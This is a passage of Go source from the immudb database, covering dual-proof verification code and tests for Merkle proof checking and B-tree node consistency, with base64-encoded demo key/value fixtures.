sourceAlh, targetAlh [sha256.Size]byte) error { if proof == nil || proof.SourceTxHeader == nil || proof.TargetTxHeader == nil || proof.SourceTxHeader.ID == 0 || proof.SourceTxHeader.ID != sourceTxID || proof.TargetTxHeader.ID != targetTxID { return ErrIllegalArguments } if sourceTxID > targetTxID { return ErrSourceTxNewerThanTargetTx } cSourceAlh := proof.SourceTxHeader.Alh() if sourceAlh != cSourceAlh { return ErrIllegalArguments } cTargetAlh := proof.TargetTxHeader.Alh() if targetAlh != cTargetAlh { return ErrIllegalArguments } if proof.SourceTxHeader.ID-1 != proof.SourceTxHeader.BlTxID || proof.TargetTxHeader.ID-1 != proof.TargetTxHeader.BlTxID { return ErrUnexpectedLinkingError } if sourceTxID == targetTxID { return nil } verifies := ahtree.VerifyInclusion( proof.InclusionProof, sourceTxID, proof.TargetTxHeader.BlTxID, leafFor(sourceAlh), proof.TargetTxHeader.BlRoot, ) if !verifies { return fmt.Errorf("inclusion proof does NOT validate") } if sourceTxID == 1 { // corner case to validate the first transaction // alh is empty when the digest of the first transaction is calculated verifies = ahtree.VerifyConsistency( proof.ConsistencyProof, sourceTxID, proof.TargetTxHeader.BlTxID, leafFor(sourceAlh), proof.TargetTxHeader.BlRoot, ) } else { verifies = ahtree.VerifyConsistency( proof.ConsistencyProof, proof.SourceTxHeader.BlTxID, proof.TargetTxHeader.BlTxID, proof.SourceTxHeader.BlRoot, proof.TargetTxHeader.BlRoot, ) } if !verifies { return fmt.Errorf("consistency proof does NOT validate") } return nil } ================================================ FILE: embedded/store/verification_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package store import ( "context" "crypto/sha256" "encoding/binary" "path/filepath" "testing" "github.com/codenotary/immudb/pkg/fs" "github.com/stretchr/testify/require" ) func TestVerifyLinearProofEdgeCases(t *testing.T) { require.False(t, VerifyLinearProof(nil, 0, 0, sha256.Sum256(nil), sha256.Sum256(nil))) require.False(t, VerifyLinearProof(&LinearProof{}, 0, 0, sha256.Sum256(nil), sha256.Sum256(nil))) require.True(t, VerifyLinearProof( &LinearProof{Terms: [][sha256.Size]byte{sha256.Sum256(nil)}, SourceTxID: 1, TargetTxID: 1}, 1, 1, sha256.Sum256(nil), sha256.Sum256(nil), ), ) require.False(t, VerifyLinearProof( &LinearProof{Terms: [][sha256.Size]byte{sha256.Sum256(nil)}, SourceTxID: 1, TargetTxID: 2}, 1, 2, sha256.Sum256(nil), sha256.Sum256(nil), ), ) } func TestVerifyDualProofEdgeCases(t *testing.T) { require.False(t, VerifyDualProof(nil, 0, 0, sha256.Sum256(nil), sha256.Sum256(nil))) require.False(t, VerifyDualProof(&DualProof{}, 0, 0, sha256.Sum256(nil), sha256.Sum256(nil))) opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) defer immustoreClose(t, immuStore) require.NotNil(t, immuStore) txCount := 10 eCount := 4 for i := 0; i < txCount; i++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) require.NoError(t, err) for j := 0; j < eCount; j++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i<<4+j)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+(eCount-j))) err = tx.Set(k, nil, v) require.NoError(t, err) } txhdr, err := tx.AsyncCommit(context.Background()) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.ID) } sourceTx := tempTxHolder(t, immuStore) targetTx := tempTxHolder(t, immuStore) targetTxID := uint64(txCount) err = immuStore.ReadTx(targetTxID, false, targetTx) require.NoError(t, err) require.Equal(t, uint64(txCount), targetTx.header.ID) for i := 0; i < txCount-1; i++ { sourceTxID := uint64(i + 1) err := immuStore.ReadTx(sourceTxID, false, sourceTx) require.NoError(t, err) require.Equal(t, uint64(i+1), sourceTx.header.ID) dproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header()) require.NoError(t, err) verifies := VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.True(t, verifies) // Alter proof dproof.SourceTxHeader.BlTxID++ verifies = VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.False(t, verifies) // Restore proof dproof.SourceTxHeader.BlTxID-- // Alter proof dproof.TargetTxHeader.BlTxID++ verifies = VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.False(t, verifies) // Restore proof dproof.TargetTxHeader.BlTxID-- } } func TestVerifyDualProofWithAdditionalLinearInclusionProof(t *testing.T) { dir := filepath.Join(t.TempDir(), "data") copier := fs.NewStandardCopier() require.NoError(t, copier.CopyDir("../../test/data_long_linear_proof", dir)) opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(dir, opts) require.NoError(t, err) defer immustoreClose(t, immuStore) maxTxID := immuStore.TxCount() t.Run("data check", func(t *testing.T) { require.EqualValues(t, 30, maxTxID, "Invalid dataset - expected 30 transactions") t.Run("transactions 1-10 do not use linear proof longer than 1", func(t *testing.T) { for txID := uint64(1); txID <= 10; txID++ { hdr, err := immuStore.ReadTxHeader(txID, true, false) require.NoError(t, err) require.Equal(t, txID-1, hdr.BlTxID) } }) t.Run("transactions 11-20 use long linear proof", func(t *testing.T) { for txID := uint64(11); txID <= 20; txID++ { hdr, err := immuStore.ReadTxHeader(txID, true, false) require.NoError(t, err) require.EqualValues(t, 10, hdr.BlTxID) } }) t.Run("transactions 21-30 do not use linear proof longer than 1", func(t *testing.T) { for txID := uint64(21); txID <= 30; txID++ { hdr, err := immuStore.ReadTxHeader(txID, true, false) require.NoError(t, err) require.Equal(t, txID-1, hdr.BlTxID) } }) }) t.Run("exhaustive consistency proof check", func(t *testing.T) { for sourceTxID := uint64(1); sourceTxID < maxTxID; sourceTxID++ { for targetTxID := sourceTxID; targetTxID < maxTxID; targetTxID++ { sourceTx := tempTxHolder(t, immuStore) targetTx := tempTxHolder(t, immuStore) err := immuStore.ReadTx(sourceTxID, false, sourceTx) require.NoError(t, err) err = immuStore.ReadTx(targetTxID, false, targetTx) require.NoError(t, err) dproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header()) require.NoError(t, err) verifies := VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) require.True(t, verifies) } } }) } ================================================ FILE: embedded/tbtree/consistency_error_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tbtree import ( "bytes" "encoding/json" "testing" "github.com/stretchr/testify/require" ) func consistencyCheck(t *testing.T, tbtree *TBtree, n node) { switch n := n.(type) { case *innerNode: // All nodes must be within the range of this node for _, sub := range n.nodes { require.True(t, bytes.Compare(n.minKey(), sub.minKey()) <= 0) } // All nodes must have sorted non-verlapping ranges for i := 1; i < len(n.nodes); i++ { require.True(t, bytes.Compare(n.nodes[i-1].minKey(), n.nodes[i].minKey()) < 0) } // Consistency for child nodes for _, sub := range n.nodes { consistencyCheck(t, tbtree, sub) } case *leafNode: // All values must be within the range of this node for _, v := range n.values { require.True(t, bytes.Compare(n.minKey(), v.key) <= 0) } // All values must be sorted by keys for i := 1; i < len(n.values); i++ { require.True(t, bytes.Compare(n.values[i-1].key, n.values[i].key) < 0) } case *nodeRef: // check if reference is consistent with the node sub, err := tbtree.nodeAt(n.off, true) require.NoError(t, err) require.True(t, bytes.Equal(n._minKey, sub.minKey())) consistencyCheck(t, tbtree, sub) default: require.Fail(t, "unknown node type") } } func TestConsistencyFailure(t *testing.T) { dataset := []string{ `[{"K":"AkNUTC5EQVRBQkFTRS4AAAAB","V":"AAAACgEAAAAAAAAAmKw+rNqZUNaZOr1kBNPS74JCKQ2US/6sA8G3QTmDMiEAAAAA"}]`, `[{"K":"AGttZDp2Y24uZGVtby5iNDAzNDIzYzYyNWUyMzA3ODhkOGZmYzBkNTVlN2RhYTdmNjU0ZDU2ZTEwZjA1NDVjZTZiMmVkNWNjNTM4MTI5","V":"AAAAwwEAAAAAAAAKgKSu85ddamKe4wtau/U03ail/ti4c09Zz/ausId1UYEAAAAA"}, {"K":"AHZjbi5kZW1vLmI0MDM0MjNjNjI1ZTIzMDc4OGQ4ZmZjMGQ1NWU3ZGFhN2Y2NTRkNTZlMTBmMDU0NWNlNmIyZWQ1Y2M1MzgxMjk=","V":"AAABAgEAAAAAAADN1tHauhzewtb6s+/13U4LJq2Jp2KcyHmB80MKyoQC6BQAAAAA"}, {"K":"AF9JVEVNLklOU0VSVElPTi1EQVRFLhbFiWfkuRZ6","V":"AAAAEAEAAAAAAAHPZYDfYL/AWu898rrPxsThBlMSQwUcPiA4IGbLZI3zt2oAAAAA"}, {"K":"AQAAAAAAAABAYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOUO2xYln5LkWAAAAAAAAAEoAdmNuLmRlbW8uYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOQAAAAAAAAAC","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAABbX0lOREVYLklURU0uSU5TRVJUSU9OLURBVEUuYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOUO2xYln5LkWAAAAAAAAAEoAdmNuLmRlbW8uYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOQAAAAAAAAAC","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAABJdmNuLmRlbW8uYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOUO2xYln5LkWAAAAAAAAAEoAdmNuLmRlbW8uYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOQAAAAAAAAAC","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AF9JVEVNLkFQSS1LRVkuYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOQ==","V":"AAAABQEAAAAAAAHf8Neff7t52x3vQgBpyzVHQTuoQLBI8YWiaTPZ5GPI9ZoAAAAA"}, {"K":"AQAAAAAAAABDX0lURU0uQVBJLUtFWS1GVUxMLmRlbW8uckJPbXFPam1zMzVZUFBoaE1abENrdnF6UkZJanhhYy1PMGg0R2dsNkRqY0O2xYln5LkWAAAAAAAAAEoAdmNuLmRlbW8uYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOQAAAAAAAAAC","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAAAcZ2l0aHViLmNvbS9jb2Rlbm90YXJ5L2ltbXVkYgAAAAAAAAAAAAAAAAAAAEoAdmNuLmRlbW8uYjQwMzQyM2M2MjVlMjMwNzg4ZDhmZmMwZDU1ZTdkYWE3ZjY1NGQ1NmUxMGYwNTQ1Y2U2YjJlZDVjYzUzODEyOQAAAAAAAAAA","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AF9JVEVNLkxFREdFUi1OQU1FLnZjbi5kZW1vLmI0MDM0MjNjNjI1ZTIzMDc4OGQ4ZmZjMGQ1NWU3ZGFhN2Y2NTRkNTZlMTBmMDU0NWNlNmIyZWQ1Y2M1MzgxMjk=","V":"AAAADAEAAAAAAAHk8HpkwEmpRXStn2PtPpvaG5L3vSc9FFmYLNIVcPnWG2YAAAAA"}]`, `[{"K":"AGttZDp2Y24uZGVtby4zZDJkM2Q4YWEwNWY5MDM1ZjZjOWIzNzhkN2ZhN2ZiYjNlMDRhZGQ0NzM1Njc0M2YyMzc4OGI3Y2EyZDc4MTYw","V":"AAAAwwEAAAAAAAHwgKSu85ddamKe4wtau/U03ail/ti4c09Zz/ausId1UYEAAAAA"}, {"K":"AHZjbi5kZW1vLjNkMmQzZDhhYTA1ZjkwMzVmNmM5YjM3OGQ3ZmE3ZmJiM2UwNGFkZDQ3MzU2NzQzZjIzNzg4YjdjYTJkNzgxNjA=","V":"AAABBgEAAAAAAAKzAUzqzPAwyduD2gFty/hdWdWJxxC9ddFDBQGNz0lha00AAAAA"}, {"K":"AF9JVEVNLklOU0VSVElPTi1EQVRFLhbFiWfmq+LO","V":"AAAAEAEAAAAAAAO5Qz99OohSnocbVG0Jn1fGI2UJI8wLeThvjci/7A4dEsIAAAAA"}, {"K":"AQAAAAAAAABAM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MEO2xYln5qvjAAAAAAAAAEoAdmNuLmRlbW8uM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MAAAAAAAAAAD","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAABbX0lOREVYLklURU0uSU5TRVJUSU9OLURBVEUuM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MEO2xYln5qvjAAAAAAAAAEoAdmNuLmRlbW8uM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MAAAAAAAAAAD","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAABJdmNuLmRlbW8uM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MEO2xYln5qvjAAAAAAAAAEoAdmNuLmRlbW8uM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MAAAAAAAAAAD","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AF9JVEVNLkFQSS1LRVkuM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MA==","V":"AAAABQEAAAAAAAPJ8Neff7t52x3vQgBpyzVHQTuoQLBI8YWiaTPZ5GPI9ZoAAAAA"}, {"K":"AQAAAAAAAABDX0lURU0uQVBJLUtFWS1GVUxMLmRlbW8uckJPbXFPam1zMzVZUFBoaE1abENrdnF6UkZJanhhYy1PMGg0R2dsNkRqY0O2xYln5qvjAAAAAAAAAEoAdmNuLmRlbW8uM2QyZDNkOGFhMDVmOTAzNWY2YzliMzc4ZDdmYTdmYmIzZTA0YWRkNDczNTY3NDNmMjM3ODhiN2NhMmQ3ODE2MAAAAAAAAAAD","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAAAgZ2l0aHViLmNvbS9kb2NrZXIvZ28tY29ubmVjdGlvbnMAAAAAAAAAAAAAAAAAAABKAHZjbi5kZW1vLjNkMmQzZDhhYTA1ZjkwMzVmNmM5YjM3OGQ3ZmE3ZmJiM2UwNGFkZDQ3MzU2NzQzZjIzNzg4YjdjYTJkNzgxNjAAAAAAAAAAAA==","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AF9JVEVNLkxFREdFUi1OQU1FLnZjbi5kZW1vLjNkMmQzZDhhYTA1ZjkwMzVmNmM5YjM3OGQ3ZmE3ZmJiM2UwNGFkZDQ3MzU2NzQzZjIzNzg4YjdjYTJkNzgxNjA=","V":"AAAADAEAAAAAAAPO8HpkwEmpRXStn2PtPpvaG5L3vSc9FFmYLNIVcPnWG2YAAAAA"}]`, `[{"K":"AGttZDp2Y24uZGVtby5jN2IzYjA3YTZmMmUwYjA5YzJmZjAyMjUyMmNmZjEyZTU4Y2IyZjY2ZTc2YzQ5NDc5Mjg5ZjgzYjU0OWJkMGEx","V":"AAAAwwEAAAAAAAPagKSu85ddamKe4wtau/U03ail/ti4c09Zz/ausId1UYEAAAAA"}, {"K":"AHZjbi5kZW1vLmM3YjNiMDdhNmYyZTBiMDljMmZmMDIyNTIyY2ZmMTJlNThjYjJmNjZlNzZjNDk0NzkyODlmODNiNTQ5YmQwYTE=","V":"AAAA/gEAAAAAAASd6IM9NeaVPp+8zqYJRByNtS7mOy6b0FlUu3l4XRXxnqEAAAAA"}, {"K":"AF9JVEVNLklOU0VSVElPTi1EQVRFLhbFiWfoqPxK","V":"AAAAEAEAAAAAAAWbu5gmphoDTne4y4O6aoKT03KmqqqZQqOhP00SrhHQD50AAAAA"}, {"K":"AQAAAAAAAABAYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMUO2xYln6Kj8AAAAAAAAAEoAdmNuLmRlbW8uYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMQAAAAAAAAAE","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAABbX0lOREVYLklURU0uSU5TRVJUSU9OLURBVEUuYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMUO2xYln6Kj8AAAAAAAAAEoAdmNuLmRlbW8uYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMQAAAAAAAAAE","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAABJdmNuLmRlbW8uYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMUO2xYln6Kj8AAAAAAAAAEoAdmNuLmRlbW8uYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMQAAAAAAAAAE","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AF9JVEVNLkFQSS1LRVkuYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMQ==","V":"AAAABQEAAAAAAAWr8Neff7t52x3vQgBpyzVHQTuoQLBI8YWiaTPZ5GPI9ZoAAAAA"}, {"K":"AQAAAAAAAABDX0lURU0uQVBJLUtFWS1GVUxMLmRlbW8uckJPbXFPam1zMzVZUFBoaE1abENrdnF6UkZJanhhYy1PMGg0R2dsNkRqY0O2xYln6Kj8AAAAAAAAAEoAdmNuLmRlbW8uYzdiM2IwN2E2ZjJlMGIwOWMyZmYwMjI1MjJjZmYxMmU1OGNiMmY2NmU3NmM0OTQ3OTI4OWY4M2I1NDliZDBhMQAAAAAAAAAE","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAAAYZ2l0aHViLmNvbS9kb2NrZXIvZG9ja2VyAAAAAAAAAAAAAAAAAAAASgB2Y24uZGVtby5jN2IzYjA3YTZmMmUwYjA5YzJmZjAyMjUyMmNmZjEyZTU4Y2IyZjY2ZTc2YzQ5NDc5Mjg5ZjgzYjU0OWJkMGExAAAAAAAAAAA=","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AF9JVEVNLkxFREdFUi1OQU1FLnZjbi5kZW1vLmM3YjNiMDdhNmYyZTBiMDljMmZmMDIyNTIyY2ZmMTJlNThjYjJmNjZlNzZjNDk0NzkyODlmODNiNTQ5YmQwYTE=","V":"AAAADAEAAAAAAAWw8HpkwEmpRXStn2PtPpvaG5L3vSc9FFmYLNIVcPnWG2YAAAAA"}]`, `[{"K":"AGttZDp2Y24uZGVtby5mNzE4MmViNGNmOTE2NDVjNWVmM2VjYzU4MTQyYWRlNzRmYmNmZGI3N2I1YTZlNmIzZjc2YWZlN2M4YTZiZmM5","V":"AAAAwwEAAAAAAAW8gKSu85ddamKe4wtau/U03ail/ti4c09Zz/ausId1UYEAAAAA"}, {"K":"AHZjbi5kZW1vLmY3MTgyZWI0Y2Y5MTY0NWM1ZWYzZWNjNTgxNDJhZGU3NGZiY2ZkYjc3YjVhNmU2YjNmNzZhZmU3YzhhNmJmYzk=","V":"AAABBAEAAAAAAAZ/bpClOUi+YWwQ8pnC4BS39Mn4VAVy0pbLiWMj1AIP/T8AAAAA"}, {"K":"AF9JVEVNLklOU0VSVElPTi1EQVRFLhbFiWfqsJRO","V":"AAAAEAEAAAAAAAeDxh3Ja+ECHcmdYXCyw81rrKoFv8cAJF6NiyI9MpCRCoMAAAAA"}, {"K":"AQAAAAAAAABAZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOUO2xYln6rCUAAAAAAAAAEoAdmNuLmRlbW8uZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOQAAAAAAAAAF","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAABbX0lOREVYLklURU0uSU5TRVJUSU9OLURBVEUuZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOUO2xYln6rCUAAAAAAAAAEoAdmNuLmRlbW8uZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOQAAAAAAAAAF","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAABJdmNuLmRlbW8uZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOUO2xYln6rCUAAAAAAAAAEoAdmNuLmRlbW8uZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOQAAAAAAAAAF","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AF9JVEVNLkFQSS1LRVkuZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOQ==","V":"AAAABQEAAAAAAAeT8Neff7t52x3vQgBpyzVHQTuoQLBI8YWiaTPZ5GPI9ZoAAAAA"}, {"K":"AQAAAAAAAABDX0lURU0uQVBJLUtFWS1GVUxMLmRlbW8uckJPbXFPam1zMzVZUFBoaE1abENrdnF6UkZJanhhYy1PMGg0R2dsNkRqY0O2xYln6rCUAAAAAAAAAEoAdmNuLmRlbW8uZjcxODJlYjRjZjkxNjQ1YzVlZjNlY2M1ODE0MmFkZTc0ZmJjZmRiNzdiNWE2ZTZiM2Y3NmFmZTdjOGE2YmZjOQAAAAAAAAAF","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAAAeZ2l0aHViLmNvbS9kb2NrZXIvZGlzdHJpYnV0aW9uAAAAAAAAAAAAAAAAAAAASgB2Y24uZGVtby5mNzE4MmViNGNmOTE2NDVjNWVmM2VjYzU4MTQyYWRlNzRmYmNmZGI3N2I1YTZlNmIzZjc2YWZlN2M4YTZiZmM5AAAAAAAAAAA=","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AF9JVEVNLkxFREdFUi1OQU1FLnZjbi5kZW1vLmY3MTgyZWI0Y2Y5MTY0NWM1ZWYzZWNjNTgxNDJhZGU3NGZiY2ZkYjc3YjVhNmU2YjNmNzZhZmU3YzhhNmJmYzk=","V":"AAAADAEAAAAAAAeY8HpkwEmpRXStn2PtPpvaG5L3vSc9FFmYLNIVcPnWG2YAAAAA"}]`, `[{"K":"AGttZDp2Y24uZGVtby4wYTYyOGRhNWY1MmQ4NDZlNDhlNjA2NDUxMGJjODU5MGVjYzZmNjM2NTBlZjgzZjRjYjc3MWEyYzA1MTRkY2Zl","V":"AAAAwwEAAAAAAAekgKSu85ddamKe4wtau/U03ail/ti4c09Zz/ausId1UYEAAAAA"}, {"K":"AHZjbi5kZW1vLjBhNjI4ZGE1ZjUyZDg0NmU0OGU2MDY0NTEwYmM4NTkwZWNjNmY2MzY1MGVmODNmNGNiNzcxYTJjMDUxNGRjZmU=","V":"AAABAAEAAAAAAAhn6SaKEwL5NZnH6J5CAqI3vYZGhBOxrvvXUah3h8KgfdUAAAAA"}, {"K":"AF9JVEVNLklOU0VSVElPTi1EQVRFLhbFiWfsxGYs","V":"AAAAEAEAAAAAAAlnopZEIk8LSBOHvsx/1RDdRw778wFJl4/FwTUNYmCqRAwAAAAA"}, {"K":"AQAAAAAAAABAMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZUO2xYln7MRmAAAAAAAAAEoAdmNuLmRlbW8uMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZQAAAAAAAAAG","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAABbX0lOREVYLklURU0uSU5TRVJUSU9OLURBVEUuMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZUO2xYln7MRmAAAAAAAAAEoAdmNuLmRlbW8uMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZQAAAAAAAAAG","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, 